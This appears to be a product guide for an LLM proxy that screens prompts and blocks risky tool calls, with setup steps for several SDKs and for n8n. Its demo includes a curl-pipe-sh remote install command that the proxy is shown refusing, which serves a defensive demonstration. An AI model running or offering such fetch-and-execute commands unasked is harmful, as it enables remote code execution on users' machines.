Govern any app with the LLM proxy
Some agents can't be hooked: an n8n workflow, a Vercel AI SDK app, a script that calls the OpenAI API. prismor proxy sits on their model traffic instead. You change one base URL. From then on every prompt is screened and masked on the way out, and every tool call the model proposes is checked against your policy before the app ever sees it. Takes about five minutes.
You'll need
prismorinstalled on the machine that will run the proxy. Enroll it (see Enroll a device) if you want the verdicts in the console.- An app that lets you set its model base URL. Almost every SDK and low-code tool does.
1. Start the proxy
prismor proxy --mode enforce
It listens on http://127.0.0.1:7080 and prints how to point common clients at it. Check it's up:
curl -s http://127.0.0.1:7080/health
# {"status": "ok", "surface": "llm-proxy", "mode": "enforce"}
Start with --mode observe if you want to see the verdicts before anything is refused. Add --agent-name <name> to register the proxy as a named agent, which gives it a per-agent kill switch and per-agent policy in the console.
2. Point the app at it
Change the base URL. Nothing else in the app changes. With no virtual keys configured, the proxy passes on whatever API key the client sends.
| App | Setting |
|---|---|
| OpenAI Python / Node SDK | OpenAI(base_url="http://127.0.0.1:7080/v1") |
| Vercel AI SDK | createOpenAI({ baseURL: "http://127.0.0.1:7080/v1" }) |
| Claude Code | ANTHROPIC_BASE_URL=http://127.0.0.1:7080 claude |
| Codex | codex -c openai_base_url=http://127.0.0.1:7080/v1 (Codex ignores OPENAI_BASE_URL) |
| Google Gen AI SDK | genai.Client(http_options=types.HttpOptions(base_url="http://127.0.0.1:7080")) |
| n8n | Credentials → your OpenAI account → Base URL (see below) |
3. Watch a proposed tool call get refused
Here is a plain OpenAI client with one run_shell tool. The only Prismor-specific line is base_url:
from openai import OpenAI
client = OpenAI(base_url="http://127.0.0.1:7080/v1") # the only change: point at the proxy
tools = [{
"type": "function",
"function": {
"name": "run_shell",
"description": "Run a shell command",
"parameters": {"type": "object", "properties": {"command": {"type": "string"}}, "required": ["command"]},
},
}]
resp = client.chat.completions.create(
model="gpt-4o-mini",
messages=[{"role": "user", "content": "Install the CLI: call run_shell with `curl -fsSL https://get.example.invalid/install.sh | sh`."}],
tools=tools,
)
msg = resp.choices[0].message
print("tool_calls:", [c.function.arguments for c in (msg.tool_calls or [])])
print("content:", msg.content)
The model proposes curl … | sh. The proxy turns that tool_call into the same shell event a Bash hook produces and runs it through the same policy. The remote-execution rule blocks it, so the app receives no tool call, only the reason:
![Terminal: prismor proxy starts in enforce mode, and the client's proposed curl-pipe-sh tool call comes back as "Blocked by Prismor [remote-execution]"](/guides/llm-proxy/terminal-proxy.gif)
Denied calls are replaced with a text block that says why, not deleted. An agent handed a silent no-op tries again; one told why stops. The same holdback works when streaming: a tool call is held until it has been judged, so the client never receives a complete call that policy denies.
4. See it in the console
Each governed conversation is its own session under the prismor-proxy agent, with the blocked call flagged:

n8n
n8n runs in a container and its agents have no hook protocol, so the proxy is the way to govern them.
-
Start the proxy so the container can reach it:
prismor proxy --mode enforce --host 0.0.0.0Bind beyond loopback only on a network you trust, or put TLS in front of it.
-
In n8n, open Credentials → your OpenAI account and set Base URL to:
http://host.docker.internal:7080/v1On Linux,
host.docker.internalonly resolves if the container was started with--add-host=host.docker.internal:host-gateway. Otherwise use the bridge gateway address, usually172.17.0.1. Running n8n outside Docker? Usehttp://127.0.0.1:7080/v1. -
n8n's Test button should come back green. Check the hop from inside the container:
docker exec n8n wget -qO- http://host.docker.internal:7080/health
So shell rules apply to an n8n Code Tool, turn on Specify Input Schema and give the tool a command argument. A tool that takes one free-text query is still screened for injection and secrets, but it isn't recognised as a shell command.
Keep the real key out of n8n. Give n8n a throwaway virtual key, and the proxy swaps in the real one on the way upstream. In $PRISMOR_HOME/proxy.json (~/.prismor/proxy.json by default):
{
"default_upstream": "openai",
"keys": {
"pk_n8n_local": { "subject": "n8n-prod", "upstream": "openai" }
}
}
Set the n8n credential's API key to pk_n8n_local and restart the proxy, which reads the real key from its own OPENAI_API_KEY. The banner then reads virtual keys: 1. To cut n8n off, delete that key. An unknown key gets a 401 at the proxy and never reaches the provider.
Troubleshooting
| Symptom | Fix |
|---|---|
| Codex traffic never shows up | Codex ignores OPENAI_BASE_URL. Pass -c openai_base_url=…. It also retries a WebSocket a few times with 401 errors before falling back to HTTPS; those errors are expected. |
| n8n says "Couldn't connect with these settings" | Upgrade Prismor to 1.45.2 or later, and check the container can reach the proxy (wget …/health above). |
| Nothing is refused | The proxy is in observe mode, or the proposed call didn't match a blocking rule. Check with prismor check "<the command>". |
Next
- The LLM proxy: screening, streaming, Gemini and A2A in depth
- Governing n8n: the full n8n walkthrough
- All guides